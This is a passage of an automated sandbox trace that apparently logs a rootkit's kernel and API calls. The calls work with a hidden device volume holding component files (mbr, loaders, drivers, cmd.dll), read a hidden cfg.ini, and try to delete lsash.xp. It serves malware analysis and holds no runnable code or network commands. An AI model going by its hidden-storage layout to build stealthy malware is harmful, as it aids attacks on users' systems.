FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.842] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.842] IdePortDispatch () returned 0x103 [0127.843] KeWaitForMutexObject () returned 0x0 [0127.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.843] KeLeaveCriticalRegion () [0127.843] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.843] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.843] KeEnterCriticalRegion () [0127.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c56000 [0127.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.843] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.843] IdePortDispatch () returned 0x103 [0127.843] KeWaitForMutexObject () returned 0x0 [0127.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.844] IdePortDispatch () returned 0x103 [0127.844] KeWaitForMutexObject () returned 0x0 [0127.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.844] KeLeaveCriticalRegion () [0127.844] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.844] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.845] KeEnterCriticalRegion () [0127.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] KeLeaveCriticalRegion () [0127.845] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.845] KeEnterCriticalRegion () [0127.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.845] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] KeLeaveCriticalRegion () [0127.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.845] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.845] KeEnterCriticalRegion () [0127.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] ExFreePoolWithTag (P=0xfffffa8003bfb470, Tag=0x0) [0127.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] KeLeaveCriticalRegion () [0127.845] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.845] ReleaseMutex (hMutex=0xf0) returned 1 [0127.845] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.845] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.845] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.845] KeEnterCriticalRegion () [0127.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.845] IdePortDispatch () returned 0x103 [0127.846] KeWaitForMutexObject () returned 0x0 [0127.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.846] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.846] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.846] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.846] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.846] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f60 [0127.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.846] KeLeaveCriticalRegion () [0127.846] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.846] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.846] KeEnterCriticalRegion () [0127.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.846] KeLeaveCriticalRegion () [0127.846] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.846] KeEnterCriticalRegion () [0127.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.846] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.846] IdePortDispatch () returned 0x103 [0127.847] KeWaitForMutexObject () returned 0x0 [0127.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.847] KeLeaveCriticalRegion () [0127.847] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.847] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.847] KeEnterCriticalRegion () [0127.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c57000 [0127.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.847] IdePortDispatch () returned 0x103 [0127.847] KeWaitForMutexObject () returned 0x0 [0127.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.847] IdePortDispatch () returned 0x103 [0127.848] KeWaitForMutexObject () returned 0x0 [0127.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.848] KeLeaveCriticalRegion () [0127.848] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.848] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.848] KeEnterCriticalRegion () [0127.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.848] KeLeaveCriticalRegion () [0127.848] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.848] KeEnterCriticalRegion () [0127.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.849] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.849] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.849] KeLeaveCriticalRegion () [0127.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.849] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.849] KeEnterCriticalRegion () [0127.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.849] ExFreePoolWithTag (P=0xfffffa80037e1f60, Tag=0x0) [0127.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.849] KeLeaveCriticalRegion () [0127.849] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.849] ReleaseMutex (hMutex=0xf0) returned 1 [0127.849] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.849] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.849] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.849] KeEnterCriticalRegion () [0127.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.849] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.849] IdePortDispatch () returned 0x103 [0127.850] KeWaitForMutexObject () returned 0x0 [0127.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.850] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.850] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.850] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.850] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.850] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc500 [0127.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.850] KeLeaveCriticalRegion () [0127.850] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.850] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.850] KeEnterCriticalRegion () [0127.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.850] KeLeaveCriticalRegion () [0127.850] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.850] KeEnterCriticalRegion () [0127.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.850] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.850] IdePortDispatch () returned 0x103 [0127.852] KeWaitForMutexObject () returned 0x0 [0127.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.852] KeLeaveCriticalRegion () [0127.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.852] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.852] KeEnterCriticalRegion () [0127.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c58000 [0127.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.852] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.852] IdePortDispatch () returned 0x103 [0127.853] KeWaitForMutexObject () returned 0x0 [0127.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.853] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.853] IdePortDispatch () returned 0x103 [0127.853] KeWaitForMutexObject () returned 0x0 [0127.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.853] KeLeaveCriticalRegion () [0127.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.854] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.854] KeEnterCriticalRegion () [0127.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.854] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.854] KeLeaveCriticalRegion () [0127.854] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.854] KeEnterCriticalRegion () [0127.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.854] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.854] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdd90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.854] KeLeaveCriticalRegion () [0127.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.854] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.854] KeEnterCriticalRegion () [0127.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.854] ExFreePoolWithTag (P=0xfffffa8003bfc500, Tag=0x0) [0127.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.854] KeLeaveCriticalRegion () [0127.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.854] ReleaseMutex (hMutex=0xf0) returned 1 [0127.855] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.855] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.855] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.855] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.855] KeEnterCriticalRegion () [0127.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.855] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.855] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.855] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.855] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.855] IdePortDispatch () returned 0x103 [0127.855] KeWaitForMutexObject () returned 0x0 [0127.855] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.855] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.855] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.855] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.855] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.855] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.855] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.855] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.855] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.855] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.855] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.856] KeLeaveCriticalRegion () [0127.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.856] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.856] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.856] KeEnterCriticalRegion () [0127.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.856] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.856] IdePortDispatch () returned 0x103 [0127.856] KeWaitForMutexObject () returned 0x0 [0127.856] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.856] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.856] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.856] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.856] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.856] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.856] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.856] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.856] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.856] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.856] KeLeaveCriticalRegion () [0127.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.857] ReleaseMutex (hMutex=0x100) returned 1 [0127.857] Sleep (dwMilliseconds=0x2bf20) 